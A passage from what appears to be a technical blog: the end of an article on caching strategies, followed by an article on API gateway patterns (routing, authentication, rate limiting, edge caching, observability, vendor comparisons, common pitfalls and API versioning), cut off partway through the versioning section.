**Why it happens:** TTL-based invalidation means data is stale until TTL expires. Event-driven invalidation has delivery delay. Write-back has persistence delay.

**The consequence:** Users see outdated data, or worse, make decisions based on stale state. Example: user changes password, old session token still works because session cache hasn't invalidated.

**The fix:**

1. **Design for staleness:** Document maximum staleness per cache, design UX accordingly
2. **Version/generation keys:** Include version in cache key; change key on update
3. **Read-your-writes consistency:** After write, bypass cache for that user temporarily
4. **Critical path bypass:** Security-critical data reads bypass cache entirely

**Example:** Netflix explicitly documents which data tolerates eventual consistency. User authentication uses strong consistency (database query); recommendation scores tolerate minutes of staleness.

## How to Choose

### Questions to Ask

1. **What's the consistency requirement?**
   - User-facing, mutable data? Shorter TTL, consider event-driven
   - Analytics, recommendations? Longer TTL, eventual consistency acceptable

2. **What's the access pattern?**
   - Read-heavy with occasional writes? Write-through or write-around
   - Write-heavy with immediate reads? Write-through
   - Write-heavy, reads delayed? Write-back

3. **What's the traffic pattern?**
   - Uniform? Simple hashing works
   - Hot keys likely? Plan for local caching, sharding
   - Spiky? Probabilistic refresh, over-provision

4. **What's the failure mode?**
   - Cache down = degraded performance? Standard
   - Cache down = system down? Replication, gutter servers

### Scale Thresholds

| Ops/sec    | Recommendation                                     |
| ---------- | -------------------------------------------------- |
| < 10K      | Single Redis node may suffice                      |
| 10K - 100K | Redis replication + connection pooling             |
| 100K - 1M  | Redis Cluster, or Memcached fleet                  |
| > 1M       | Multi-tier (local + distributed), custom solutions |

### Common Patterns by Use Case

| Use Case            | Write Policy  | Invalidation                 | Topology          |
| ------------------- | ------------- | ---------------------------- | ----------------- |
| Session storage     | Write-through | TTL (session length)         | Distributed       |
| Product catalog     | Write-around  | Event + TTL                  | CDN + distributed |
| View counters       | Write-back    | None (append-only)           | Distributed       |
| User authentication | Bypass cache  | -                            | Database only     |
| API responses       | Read-only     | TTL + stale-while-revalidate | CDN edge          |

## Conclusion

Caching is a fundamental pattern for managing the performance gap between data consumers and sources. The trade-off is always the same: speed versus consistency. Every design decision—write policy, invalidation strategy, replacement algorithm, topology—is a point on that spectrum.

The key insights:

1. **No single strategy fits all:** Netflix uses eventual consistency for recommendations but strong consistency for authentication
2. **Failure modes matter:** Design for what happens when cache is unavailable, inconsistent, or under stampede
3. **Measure and adapt:** Hit ratio, P99 latency, and origin load tell you whether your caching strategy is working
4. **Start simple, evolve:** TTL-based invalidation with LRU replacement handles most workloads; add complexity only when measurements justify it

## Appendix

### Prerequisites

- Basic understanding of distributed systems concepts
- Familiarity with key-value stores and hash tables
- Understanding of consistency models (strong, eventual)

### Summary

- **Caching exploits locality:** Temporal (recent data reused) and spatial (nearby data accessed together)
- **Write policies trade consistency for speed:** Write-through (consistent, slow), write-back (fast, eventual), write-around (prevents pollution)
- **Invalidation is the hard problem:** TTL for simplicity, events for accuracy, probabilistic refresh to prevent stampedes
- **Replacement algorithms match workloads:** LRU for general use, 2Q/ARC for database buffers with scan resistance
- **Scale requires topology decisions:** In-process for latency, distributed for sharing, hybrid for hot keys

### Terminology

- **Cache Hit Ratio:** Percentage of requests served from cache vs. total requests
- **TTL (Time-To-Live):** Duration a cached entry is considered fresh
- **Cache Stampede:** Burst of simultaneous cache misses overwhelming the origin
- **Hot Key:** Single cache key receiving disproportionate traffic
- **Scan Pollution:** Sequential access patterns evicting random-access hot data
- **Consistent Hashing:** Key distribution algorithm that minimizes remapping when nodes change

### References

#### Foundational Papers

- [Consistent Hashing and Random Trees - Karger et al., 1997](https://www.cs.princeton.edu/courses/archive/fall09/cos518/papers/chash.pdf) - Original consistent hashing paper from MIT
- [ARC: A Self-Tuning, Low Overhead Replacement Cache - FAST 2003](https://www.usenix.org/conference/fast-03/arc-self-tuning-low-overhead-replacement-cache) - IBM's adaptive replacement cache algorithm
- [LIRS: Low Inter-reference Recency Set - SIGMETRICS 2002](https://dl.acm.org/doi/10.1145/511399.511340) - Scan-resistant cache replacement policy
- [The LRU-K Page Replacement Algorithm - O'Neil et al.](https://www.cs.cmu.edu/~natassa/courses/15-721/papers/p297-o_neil.pdf) - Database disk buffering and scan pollution analysis
- [Optimal Probabilistic Cache Stampede Prevention - Vattani et al., UCSD](https://cseweb.ucsd.edu/~avattani/papers/cache_stampede.pdf) - XFetch algorithm for early refresh

#### Industry Engineering Blogs

- [Netflix Global Cache Architecture - InfoQ](https://www.infoq.com/articles/netflix-global-cache/) - EVCache at 400M ops/sec
- [Scaling Memcache at Facebook - USENIX NSDI 2013](https://www.usenix.org/system/files/conference/nsdi13/nsdi13-final170_update.pdf) - Facebook's Memcached architecture
- [Salesforce: Redis Migration at 1.5M RPS](https://engineering.salesforce.com/migration-at-scale-moving-marketing-cloud-caching-from-memcached-to-redis-at-1-5m-rps-without-downtime/) - Live migration without downtime
- [Discord: How We Store Trillions of Messages](https://discord.com/blog/how-discord-stores-trillions-of-messages) - Message storage evolution
- [Netflix EVCache Announcement](https://netflixtechblog.com/announcing-evcache-distributed-in-memory-datastore-for-cloud-c26a698c27f7) - Original EVCache design

#### Official Documentation

- [Redis Documentation](https://redis.io/documentation) - In-memory data structure store
- [Redis vs Memcached Comparison](https://redis.io/compare/memcached/) - Official comparison
- [Memcached Wiki](https://memcached.org/) - Distributed memory caching system
- [HTTP Caching - MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching) - HTTP caching tutorial
- [Cache-Control Header - MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control) - HTTP header reference

#### Implementation References

- [PostgreSQL 2Q Cache](https://arpitbhayani.me/blogs/2q-cache/) - PostgreSQL's buffer cache algorithm
- [MySQL InnoDB Buffer Pool](https://dev.mysql.com/doc/refman/8.0/en/innodb-buffer-pool.html) - MySQL's scan-resistant LRU
- [Cloudflare Cache Documentation](https://developers.cloudflare.com/cache/) - CDN caching features

#### Historical Context

- [IBM System/360 Model 85 - Wikipedia](https://en.wikipedia.org/wiki/IBM_System/360_Model_85) - First commercial computer with cache memory
- [Bélády's Anomaly - Wikipedia](https://en.wikipedia.org/wiki/B%C3%A9l%C3%A1dy's_anomaly) - FIFO cache anomaly explanation

---

## API Gateway Patterns: Routing, Auth, and Policies

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/api-gateway-patterns
**Category:** System Design / System Design Fundamentals
**Description:** Centralized traffic management for microservices: design choices for routing, authentication, rate limiting, and protocol translation—with real-world implementations from Netflix, Google, and Amazon.

# API Gateway Patterns: Routing, Auth, and Policies

Centralized traffic management for microservices: design choices for routing, authentication, rate limiting, and protocol translation—with real-world implementations from Netflix, Google, and Amazon.

<figure>

![API gateway as the enforcement point for cross-cutting concerns. Requests flow through auth, rate limiting, and routing before reaching backends. Observability captures metrics at every stage.](./api-gateway-as-the-enforcement-point-for-cross-cutting-concerns-requests-flow-th.svg)

<figcaption>API gateway as the enforcement point for cross-cutting concerns. Requests flow through auth, rate limiting, and routing before reaching backends. Observability captures metrics at every stage.</figcaption>
</figure>

## Abstract

API gateways solve the "N×M problem" in microservices: without a gateway, every client type (web, mobile, partner) must implement authentication, rate limiting, and service discovery against every backend service. Gateways centralize these cross-cutting concerns at a single enforcement point.

The core trade-off: **centralization vs coupling**. A gateway simplifies clients but becomes a critical dependency. Design choices determine whether that dependency is an operational risk (single point of failure) or a resilience layer (circuit breaking, graceful degradation).

| Concern        | Gateway Responsibility                | Why at Gateway                                   |
| -------------- | ------------------------------------- | ------------------------------------------------ |
| Authentication | JWT validation, API key lookup        | Reject unauthorized requests before backend load |
| Rate limiting  | Token bucket, sliding window          | Protect backends from abuse at edge              |
| Routing        | Path/header-based dispatch            | Decouple client URLs from service topology       |
| Transformation | Protocol translation, payload shaping | Adapt external formats to internal contracts     |
| Observability  | Trace initiation, access logs         | Capture full request context at entry point      |

Key architectural patterns:

- **Edge gateway**: External traffic, strict security, global distribution
- **Internal gateway**: Service-to-service, lighter auth, service mesh integration
- **BFF (Backend for Frontend)**: Client-specific aggregation, mobile-optimized payloads

## Gateway Responsibilities

### Request Routing

Gateways decouple client-facing URLs from backend service topology. Clients call `/api/users` regardless of which service, version, or datacenter handles the request.

**Path-based routing:**

```
/api/v1/users/* → user-service-v1
/api/v2/users/* → user-service-v2
/api/orders/*   → order-service
/static/*       → CDN origin
```

**Header-based routing:**

```
X-API-Version: 2023-10 → service-v2023-10
X-Client-Type: mobile  → mobile-optimized-backend
X-Tenant-ID: acme      → tenant-acme-cluster
```

**Weighted traffic splitting:** Critical for canary deployments. Route 5% of traffic to new version, 95% to stable:

```yaml
routes:
  - match: /api/users
    backends:
      - service: user-service-v2
        weight: 5
      - service: user-service-v1
        weight: 95
```

**Design consideration:** Path-based versioning (`/v1/`, `/v2/`) is explicit but pollutes URLs. Header-based versioning keeps URLs clean but requires client configuration. Netflix and Stripe use header-based versioning for internal APIs, path-based for public APIs where discoverability matters.

### Authentication and Authorization

Gateways validate credentials before requests reach backends, rejecting unauthorized traffic at the edge.

**JWT validation (stateless):**

1. Gateway extracts token from `Authorization: Bearer <token>` header
2. Validates signature using cached public key from identity provider
3. Checks `exp`, `iat`, `iss`, `aud` claims
4. Forwards validated claims to backend via headers

**Why at gateway:** A single JWT validation implementation serves all backends. Without gateway auth, each service re-implements token validation—N services × risk of inconsistent implementations.

**Token introspection (stateful):** For opaque tokens or revocation requirements, gateway calls authorization server to validate. Adds latency (~10-50ms per request) but enables immediate revocation.

**API key validation:**

1. Gateway extracts key from header or query param
2. Looks up key in fast store (Redis, local cache)
3. Retrieves associated rate limits, quotas, permissions
4. Forwards tenant context to backend

**Authorization patterns:**

| Pattern                   | Where   | When                                                          |
| ------------------------- | ------- | ------------------------------------------------------------- |
| Coarse-grained at gateway | Gateway | Route-level access (can user call this endpoint?)             |
| Fine-grained at service   | Backend | Resource-level access (can user access this specific record?) |

**Real-world:** AWS API Gateway supports JWT authorizers with <1ms validation latency when using cached public keys. Custom authorizers (Lambda) add 50-100ms cold start overhead.

### Rate Limiting and Quota Enforcement

Rate limiting protects backends from abuse and ensures fair resource allocation among clients.

**Token bucket algorithm (most common):**

- Bucket holds tokens up to maximum capacity
- Tokens added at fixed rate (e.g., 100/second)
- Each request consumes one token
- When empty, requests rejected with 429

**Why token bucket:** Handles burst traffic naturally. If a client is idle, tokens accumulate (up to bucket size). Short bursts are allowed; sustained overload is blocked.

**Sliding window log:**

- Track timestamp of each request
- Count requests in sliding window (e.g., last 60 seconds)
- More accurate than fixed windows but higher memory (stores every request timestamp)

**Sliding window counter (hybrid):**

- Combine current window count with weighted previous window
- Example: 40 seconds into current minute with 50 requests, previous minute had 100 requests
- Weighted count: 50 + (100 × 20/60) ≈ 83 requests

**Distributed rate limiting challenge:** With multiple gateway instances, local counters undercount. Solutions:

1. **Centralized store (Redis):** Accurate but adds network latency (~1ms per request)
2. **Consistent hashing:** Route same client to same gateway instance
3. **Gossip protocol:** Eventual consistency across instances, slight overrun possible

**Kong's approach:** Offers local (in-memory), cluster (gossip), and Redis strategies. Redis for accuracy-critical limits, local for high-throughput scenarios where slight overrun is acceptable.

**Real-world numbers:**

- Stripe: 100 requests/second baseline, burst to 200
- GitHub: 5000 requests/hour for authenticated, 60/hour for unauthenticated
- Twitter: 300 requests/15-minute window for user timeline

### Request/Response Transformation

Gateways adapt external API contracts to internal service contracts, enabling backend evolution without breaking clients.

**Header transformation:**

```yaml
request:
  add:
    X-Request-ID: ${uuid()}
    X-Forwarded-For: ${client_ip}
  remove:
    - X-Internal-Debug
response:
  remove:
    - X-Powered-By
    - Server
```

**Protocol translation:**

- **REST to gRPC:** Gateway accepts JSON, converts to Protobuf, calls gRPC service
- **GraphQL federation:** Gateway composes schema from multiple services, resolves queries across backends
- **SOAP to REST:** Legacy integration without backend changes

**Payload transformation:**

- Field renaming: `user_id` → `userId` for JavaScript clients
- Field filtering: Remove internal fields from external responses
- Aggregation: Combine multiple backend responses into single client response

**Design trade-off:** Heavy transformation logic belongs in a dedicated service or BFF, not the gateway. Gateway transformations should be simple (header injection, field filtering). Complex business logic in the gateway creates a monolith.

### Caching at the Edge

Gateway caching reduces backend load and improves latency for cacheable responses.

**Cache placement:**

```
Client → CDN → Gateway Cache → Backend
         ↑         ↑
      seconds    seconds-minutes
```

**Cache key composition:**

```
key = hash(method + path + query_params + vary_headers)
```

**TTL strategies:**

| Content Type   | TTL           | Rationale                             |
| -------------- | ------------- | ------------------------------------- |
| Static assets  | 1 week+       | Versioned URLs for cache busting      |
| User profile   | 5-15 minutes  | Balance freshness vs load             |
| Search results | 30-60 seconds | Rapidly changing, high request volume |
| Real-time data | No cache      | Freshness critical                    |

**Cache invalidation:**

- **TTL-based:** Simple, eventual consistency
- **Event-driven:** Backend publishes invalidation events, gateway subscribes
- **Purge API:** Explicit invalidation for known changes

**AWS API Gateway caching:** Default TTL 300 seconds (5 minutes), maximum 3600 seconds (1 hour). Cache per stage, configurable per method.

**Gotcha:** Caching authenticated responses requires cache key to include user identity. Without this, user A may see user B's cached response.

### Observability Integration

Gateways are the ideal observability entry point—they see every request before distribution across services.

**Distributed tracing initiation:**

1. Gateway generates trace ID (or uses incoming `traceparent` header)
2. Injects trace context into downstream requests
3. Records gateway span with timing, routing decision, auth result

**Why gateway-initiated:** Without trace context from gateway, downstream services can't correlate their spans. The gateway ensures every request has a trace ID from the first hop.

**Access logging:**

```json
{
  "timestamp": "2024-01-15T10:30:00Z",
  "trace_id": "abc123",
  "client_ip": "203.0.113.42",
  "method": "POST",
  "path": "/api/orders",
  "status": 201,
  "latency_ms": 142,
  "backend": "order-service",
  "rate_limit_remaining": 97
}
```

**Metrics to capture:**

- Request rate by endpoint, client, status code
- Latency percentiles (p50, p95, p99) per route
- Error rates by type (4xx client, 5xx server, timeout)
- Rate limit rejections by client
- Cache hit ratio

**OpenTelemetry integration:** Modern gateways (Kong, Envoy) export traces, metrics, and logs in OpenTelemetry format, enabling unified observability pipelines.

## Gateway Architecture Patterns

### Edge Gateway vs Internal Gateway

**Edge gateway (north-south traffic):**

- Faces public internet
- Strict security: TLS termination, WAF integration, DDoS protection
- Rate limiting by client/API key
- Protocol translation (external REST to internal gRPC)
- Global distribution for latency

**Internal gateway (east-west traffic):**

- Service-to-service within VPC/cluster
- Lighter auth: mTLS, service identity tokens
- Focus on routing, retries, circuit breaking
- Often replaced by service mesh (Istio, Linkerd)

**Two-tier pattern:** Most production systems use both. Edge gateway handles external clients, internal gateway (or service mesh) handles inter-service communication.

```
Internet → Edge Gateway → Internal Gateway/Service Mesh → Services
                ↓                      ↓
           Public APIs            Service-to-service
```

### Backend for Frontend (BFF)

BFF pattern: dedicated gateway per client type, each optimized for its client's needs.

**Why BFF:**

- Mobile needs minimal payloads (bandwidth constraints)
- Web needs rich data (larger screens, faster networks)
- Partner APIs need stable contracts (SLAs, versioning)

**Architecture:**

```
Mobile App  → Mobile BFF  ┐
Web App     → Web BFF     ├→ Internal Services
Partner API → Partner BFF ┘
```

**BFF responsibilities:**

- Aggregate data from multiple services into client-specific format
- Handle client-specific auth flows (OAuth for web, API keys for partners)
- Implement client-specific caching strategies
- Translate errors into client-appropriate formats

**Team ownership:** BFF is owned by client team (mobile team owns mobile BFF). This enables client teams to iterate on API shape without coordinating with backend teams.

**Trade-off:** BFF adds operational complexity (N client types = N gateways). Worth it when client requirements diverge significantly.

**Real-world:** Netflix runs separate BFFs for TV, mobile, and web. Each optimizes payload size and data shape for its device constraints.

### API Gateway vs Service Mesh

| Aspect            | API Gateway            | Service Mesh            |
| ----------------- | ---------------------- | ----------------------- |
| Traffic direction | North-south (external) | East-west (internal)    |
| Deployment        | Centralized edge       | Sidecar per service     |
| Auth focus        | External credentials   | Service identity (mTLS) |
| Protocol          | HTTP/REST/GraphQL      | Any (TCP, gRPC, HTTP)   |
| Routing           | Content-based          | Service discovery       |
| Rate limiting     | Per client/API key     | Per service             |
| Observability     | Request-level          | Connection-level        |

**Using both:** Gateway API (Kubernetes standard) enables unified configuration across ingress gateways and service mesh. Istio's ingress gateway implements Gateway API, providing consistent routing semantics edge-to-mesh.

**When to add service mesh:**

- Need mTLS between all services
- Require per-service circuit breaking, retries
- Want sidecar-based observability
- Service-to-service traffic is complex (many services, fan-out patterns)

**When service mesh is overkill:**

- Fewer than 10 services
- Simple call patterns (mostly request-response)
- Team lacks mesh operational experience

### Gateway Per Service vs Shared Gateway

**Shared gateway:**

```
All Clients → Single Gateway → All Services
```

- ✅ Single enforcement point for policies
- ✅ Simpler operations (one thing to monitor)
- ❌ Single point of failure
- ❌ Scaling bottleneck
- ❌ Configuration complexity grows with services

**Gateway per domain:**

```
User API Clients    → User Gateway    → User Services
Order API Clients   → Order Gateway   → Order Services
Partner API Clients → Partner Gateway → Partner Services
```

- ✅ Failure isolation (user gateway down ≠ order gateway down)
- ✅ Independent scaling per traffic pattern
- ✅ Team ownership (order team owns order gateway)
- ❌ Policy duplication
- ❌ More infrastructure to operate

**Production recommendation:** Split gateways by business boundary, not by having a single gateway. The single-gateway pattern has caused major outages (see Canva incident below).

## Design Choices and Trade-offs

### Stateless vs Stateful Gateway

**Stateless gateway (recommended):**

- Configuration from external store (etcd, Consul, Kubernetes ConfigMaps)
- Session state in external store (Redis) or client tokens (JWT)
- Any gateway instance can handle any request
- Fast horizontal scaling, no state migration

**Stateful gateway:**

- Local connection pools to backends
- In-memory rate limit counters
- Session affinity required
- Faster (no external lookups) but harder to scale

**Hybrid approach:** Most gateways are "stateless with caches." Configuration is external, but hot data (rate limit counts, routing tables) is cached locally with TTL or event-based invalidation.

### Custom vs Managed Gateways

**Open-source gateways:**

| Gateway       | Strengths                                  | Trade-offs                                |
| ------------- | ------------------------------------------ | ----------------------------------------- |
| Kong          | Plugin ecosystem (100+), Lua extensibility | Complex at scale                          |
| Envoy         | Performance (~100μs latency), cloud-native | Steep learning curve                      |
| NGINX         | Mature, high performance                   | Limited API gateway features without Kong |
| Apache APISIX | Modern, dashboard, cloud-native            | Smaller community                         |

**Managed gateways:**

| Service              | Strengths                            | Trade-offs                      |
| -------------------- | ------------------------------------ | ------------------------------- |
| AWS API Gateway      | Serverless, auto-scaling, 99.95% SLA | Cold starts, AWS lock-in        |
| Google Apigee        | Full lifecycle management, analytics | Complex pricing, steep learning |
| Azure API Management | Azure integration, hybrid deployment | Azure ecosystem dependency      |

**Decision factors:**

| Factor               | Choose Managed      | Choose Self-Hosted       |
| -------------------- | ------------------- | ------------------------ |
| Team ops capacity    | Limited             | Dedicated platform team  |
| Scale                | < 1B requests/month | Cost-sensitive at scale  |
| Customization        | Standard patterns   | Unique requirements      |
| Compliance           | Cloud-native apps   | On-premises requirements |
| Latency requirements | < 10ms acceptable   | Sub-millisecond critical |

**Cost crossover:** At ~1-10 billion requests/month, managed gateway costs often exceed self-hosted infrastructure + team costs.

### Synchronous vs Asynchronous Patterns

**Synchronous (request-response):**

```
Client → Gateway → Service → Gateway → Client
```

- Simple mental model
- Latency = sum of all hops
- Client blocks waiting for response

**Asynchronous (event-driven):**

```
Client → Gateway → Queue → Service processes later
                     ↓
Client polls or receives webhook
```

- Better for long-running operations
- Gateway returns immediately (202 Accepted)
- Client polls status endpoint or receives callback

**Hybrid pattern:** Gateway proxies synchronous requests but provides async fallback for timeouts:

```
1. Client calls /api/reports (sync)
2. Gateway forwards to service
3. If service responds in < 30s, return response
4. If timeout, return 202 with status URL
5. Client polls /api/reports/status/{id}
```

## Real-World Implementations

### Netflix Zuul Architecture

**Scale:** 80+ Zuul clusters handling 1M+ requests/second across 100+ backend clusters.

**Filter-based architecture:**

```
Request → PRE filters → ROUTE filters → POST filters → Response
                              ↓
                      Error → ERROR filters
```

**Filter types:**

- **PRE:** Authentication, rate limiting, request decoration
- **ROUTE:** Backend selection, load balancing (integrates with Ribbon)
- **POST:** Response decoration, metrics collection
- **ERROR:** Error handling, fallback responses

**Design decisions:**

1. **Dynamic routing:** Zuul queries Eureka (service discovery) to find healthy instances
2. **Zone-aware routing:** Tracks success rate per availability zone, shifts traffic away from degraded zones
3. **Client-side load balancing:** Ribbon handles backend selection, Zuul handles cross-cutting concerns

**Why filters:** Allows plugins without code changes. New auth mechanism = new PRE filter. Netflix deploys filter changes without Zuul restarts.

**Zuul 2 evolution:** Moved from blocking (Zuul 1) to async/non-blocking (Zuul 2) for better resource utilization under high connection counts.

### Amazon API Gateway

**Architecture:**

- Serverless, auto-scaling
- Regional deployment with optional edge-optimized (CloudFront distribution)
- 99.95% SLA (~4.5 hours downtime/year allowed)

**API types:**

| Type      | Use Case      | Features                                     |
| --------- | ------------- | -------------------------------------------- |
| HTTP API  | Simple proxy  | Lower latency, lower cost, JWT auth          |
| REST API  | Full features | Request validation, caching, WAF integration |
| WebSocket | Real-time     | Connection management, route selection       |

**Integration patterns:**

- **Lambda:** Direct invocation, request/response mapping
- **HTTP:** Proxy to any HTTP endpoint
- **VPC Link:** Private integration with ALB/NLB in VPC
- **AWS Services:** Direct integration with Step Functions, SQS, Kinesis

**Cold start consideration:** Lambda-backed APIs experience cold starts (3-10+ seconds for unoptimized functions). Provisioned Concurrency eliminates cold starts but adds cost.

**Caching:** Per-stage cache with configurable TTL (default 300s, max 3600s). Cache key includes method, path, query params, and configurable headers.

### Kong Plugin Architecture

**Design philosophy:** Core gateway is minimal; capabilities come from plugins.

**Plugin execution order:**

```
Request → Certificate → Rewrite → Access → Rate Limiting
                                     ↓
Response ← Log ← Body Transformation ← Header Transformation ← Response Transformation
```

**Rate limiting strategies:**

| Strategy | Accuracy    | Latency | Use Case                               |
| -------- | ----------- | ------- | -------------------------------------- |
| Local    | Approximate | Lowest  | High-throughput, slight overrun OK     |
| Cluster  | Better      | Medium  | Multi-node, gossip sync                |
| Redis    | Exact       | Highest | Strict limits, distributed enforcement |

**Consistent hashing integration:** Kong routes same client to same gateway node using consistent hashing, improving local rate limit accuracy without Redis overhead.

**Extensibility:** Custom plugins in Lua, Go, JavaScript, or Python. Kong's plugin development kit (PDK) provides consistent API across languages.

### Envoy as Gateway

**Performance characteristics (from Envoy FAQ):**

- Latency overhead: ~100 microseconds per request baseline
- Throughput: 200k+ QPS with 4k concurrent clients
- CPU: Max 10% utilization under load
- Memory: Never exceeds 1.1 GiB in production scenarios

**Deployment modes:**

1. **Edge gateway:** Centralized ingress, terminates TLS, applies policies
2. **Sidecar proxy:** Per-service deployment, service mesh data plane
3. **Hybrid:** Gateway for north-south, sidecar for east-west

**Configuration model:** xDS APIs enable dynamic configuration without restarts. Control plane (Istio, Consul Connect) pushes configuration; Envoy applies without downtime.

**Feature set:**

- L7 routing with retries, timeouts, circuit breaking
- Rate limiting via external service (rate limit service)
- Observability: native OpenTelemetry, Prometheus, access logs
- Load balancing: round robin, least request, ring hash, Maglev

**Why organizations choose Envoy:** Performance for latency-sensitive workloads, cloud-native design, service mesh compatibility (Istio, Consul Connect, AWS App Mesh).

### Google Apigee

**Deployment options:**

- **Apigee X (cloud-native):** Fully managed on Google Cloud
- **Apigee hybrid:** Management in cloud, runtime in customer datacenter/VPC
- **Apigee Edge (legacy):** Fully on-premises

**Federated API development:** Unlike centralized gateway models, Apigee enables distributed API ownership. Teams create and publish APIs independently; Apigee provides governance overlay.

**Architecture components:**

- **Management plane:** Policy configuration, analytics, developer portal
- **Runtime plane:** Request processing, policy enforcement
- **Message processor:** Actual request handling
- **Router:** Traffic distribution to message processors

**Analytics focus:** Apigee emphasizes API analytics—traffic patterns, error rates, latency distribution, developer adoption. Useful for API-as-product organizations.

## Common Pitfalls

### 1. Gateway as Single Point of Failure

**The mistake:** Funneling all traffic through one gateway cluster.

**Why it happens:** Centralization is convenient. One place to configure auth, rate limits, routing.

**The consequence:** Gateway failure = complete outage.

**Real incident—Canva (November 2024):**

- A telemetry library deployment introduced a performance regression
- Gateway received 1.5M requests/second (3x typical peak)
- Off-heap memory growth triggered Linux OOM Killer
- All containers terminated, cascading failure outpaced autoscaling
- Result: 52-minute outage, all requests to canva.com failed

**The fix:**

- Multiple independent gateways per business domain
- Circuit breakers between gateway and backends
- Graceful degradation paths (serve cached/static content during gateway issues)
- Load shedding before complete failure

### 2. Business Logic in Gateway

**The mistake:** Adding business rules to gateway routing decisions.

**Examples of anti-patterns:**

- Gateway decides which payment processor based on transaction amount
- Gateway aggregates data from 5 services to build response
- Gateway implements A/B test logic for feature flags

**Why it happens:** Gateway's position makes it "convenient" to add "just one more thing." Over time, business logic accumulates.

**The consequence:**

- Gateway becomes a monolith
- Changes require gateway deployment (high-risk, affects everything)
- Testing business logic requires gateway environment
- Gateway team becomes bottleneck for feature development

**The fix:**

- Gateway does: auth, rate limiting, routing, transformation, observability
- Gateway does not do: business decisions, data aggregation, feature flags
- Use BFF pattern for aggregation needs
- Feature flags belong in dedicated service (LaunchDarkly, Unleash)

### 3. Over-Caching at Gateway

**The mistake:** Aggressive caching without considering cache invalidation.

**Symptoms:**

- Users see stale data after updates
- Cache stampede when TTL expires simultaneously
- Personalized data served to wrong users

**The fix:**

- Cache key must include user identity for personalized responses
- Use `Cache-Control` headers from backend, don't override
- Implement staggered TTLs to prevent stampede
- Event-driven invalidation for frequently-updated data
- Monitor cache hit ratio—too high may indicate stale data

### 4. Health Check Endpoint That Lies

**The mistake:** Health endpoint returns 200 but service can't handle traffic.

**Example:**

```go
// Bad: Always healthy if process is running
func healthHandler(w http.ResponseWriter, r *http.Request) {
    w.WriteHeader(http.StatusOK)
    w.Write([]byte("OK"))
}

// Better: Verify critical dependencies
func healthHandler(w http.ResponseWriter, r *http.Request) {
    if err := db.Ping(); err != nil {
        w.WriteHeader(http.StatusServiceUnavailable)
        return
    }
    if err := cache.Ping(); err != nil {
        w.WriteHeader(http.StatusServiceUnavailable)
        return
    }
    w.WriteHeader(http.StatusOK)
}
```

**The consequence:** Gateway routes traffic to "healthy" backend that fails every request.

**The fix:**

- Health endpoint verifies critical path (database, cache, essential dependencies)
- Keep health checks fast (don't run full queries, just ping)
- Distinguish liveness (process running) from readiness (can serve traffic)

### 5. Ignoring Connection Draining

**The mistake:** Terminating gateway/backend instances immediately during deployments.

**The consequence:** In-flight requests get 502/503 errors. Users see failures during every deploy.

**The fix:**

- Configure connection draining timeout (30-300 seconds)
- Gateway stops sending new requests to draining instance
- Existing requests complete or timeout
- Only then terminate instance

**Real-world:** AWS ALB default drain timeout is 300 seconds. Set this to exceed your longest expected request duration.

## Performance Considerations

### Latency Overhead

**Baseline gateway overhead:**

| Component                | Latency |
| ------------------------ | ------- |
| Network hop              | 0.1-1ms |
| TLS termination          | 0.5-2ms |
| Auth (JWT validation)    | 0.1-1ms |
| Rate limit check (local) | <0.1ms  |
| Rate limit check (Redis) | 1-5ms   |
| Routing decision         | <0.1ms  |
| Total baseline           | 1-5ms   |

**Factors that increase latency:**

- External auth calls (token introspection): +10-50ms
- Complex transformations: +1-10ms
- Custom plugins/filters: varies
- Cold starts (serverless): +100ms-10s

**Measurement guidance:** Measure latency at realistic load (50-80% capacity), not at maximum. Latency increases non-linearly near capacity limits.

### Connection Pooling

**Problem:** Opening new TCP connection per request adds latency (TCP handshake + TLS handshake = 2-4 round trips).

**Solution:** Gateway maintains pool of open connections to backends.

**Pool configuration:**

```yaml
upstream backend:
  max_connections: 100 # Total connections to all instances
  max_connections_per_host: 10 # Connections per backend instance
  idle_timeout: 60s # Close idle connections after
  connect_timeout: 5s # Fail fast on connection issues
```

**HTTP/2 multiplexing:** Single connection handles multiple concurrent requests. Gateway-to-backend H2 reduces connection count while maintaining throughput.

### Cold Start Mitigation (Serverless)

**AWS Lambda cold starts:**

- Simple function: 100-500ms
- Function with dependencies: 1-5s
- Function in VPC: 3-10s (historically, now improved with Hyperplane ENI)

**Mitigation strategies:**

| Strategy                | Latency Impact         | Cost Impact                         |
| ----------------------- | ---------------------- | ----------------------------------- |
| Provisioned Concurrency | Eliminates cold start  | Fixed cost for pre-warmed instances |
| SnapStart (Java/.NET)   | Reduces to <1s         | Minimal                             |
| Smaller packages        | Reduces initialization | Effort to optimize                  |
| Keep-warm pings         | Reduces frequency      | Unreliable, not recommended         |

**Provisioned Concurrency numbers:** AWS reports 75% improvement in p99 latency with provisioned concurrency. Cost is ~$0.000004/GB-second provisioned.

### Circuit Breaker Integration

Gateway as circuit breaker enforcement point protects backends from cascade failures.

**Circuit states:**

1. **Closed:** Requests flow normally
2. **Open:** Requests rejected immediately (fail fast)
3. **Half-open:** Limited requests allowed to test recovery

**Configuration example:**

```yaml
circuit_breaker:
  failure_threshold: 5 # Failures before opening
  success_threshold: 3 # Successes to close
  timeout: 30s # Time in open state before half-open
  failure_rate_threshold: 50% # Alternative: percentage-based
```

**Fallback strategies:**

- Return cached response
- Return degraded response (partial data)
- Return error with retry guidance
- Route to fallback service

## API Versioning Strategies

### Path-Based Versioning

```
/v1/users → user-service-v1
/v2/users → user-service-v2
```

**Advantages:**

- Explicit in URL, easy to understand
- Works with all HTTP clients
- Clear in logs and documentation
- Browser-testable

**Disadvantages:**

- URL pollution
- Harder to deprecate (URLs in wild)
- Temptation to version everything

### Header-Based Versioning

```
GET /users
Accept: application/vnd.myapi.v2+json
```

or

```
GET /users
API-Version: 2024-01
```

**Advantages:**

- Clean URLs
- Flexible versioning schemes (date-based, semantic)
- RESTful (URL identifies resource, not representation)

**Disadvantages:**

- Requires client configuration
- Less discoverable
- Harder to test in browser

### Gateway Implementation

Gateway routes based on version header or path prefix:

```yaml
routes:
  - match:
      path_prefix: /v1/
    route:
      cluster: api-v1
  - match:
      path_prefix: /v2/
    route:
      cluster: api-v2
  - match:
      headers:
        - name: API-Version
          exact_match: "2024-01"
    route:
      cluster: api-2024-01
```

### Backward Compatibility

**Non-breaking changes (safe to add):**

- New optional fields in response
- New endpoints
- New optional query parameters
- New optional headers

**Breaking changes (require new version):**

- Removing fields
- Changing field types
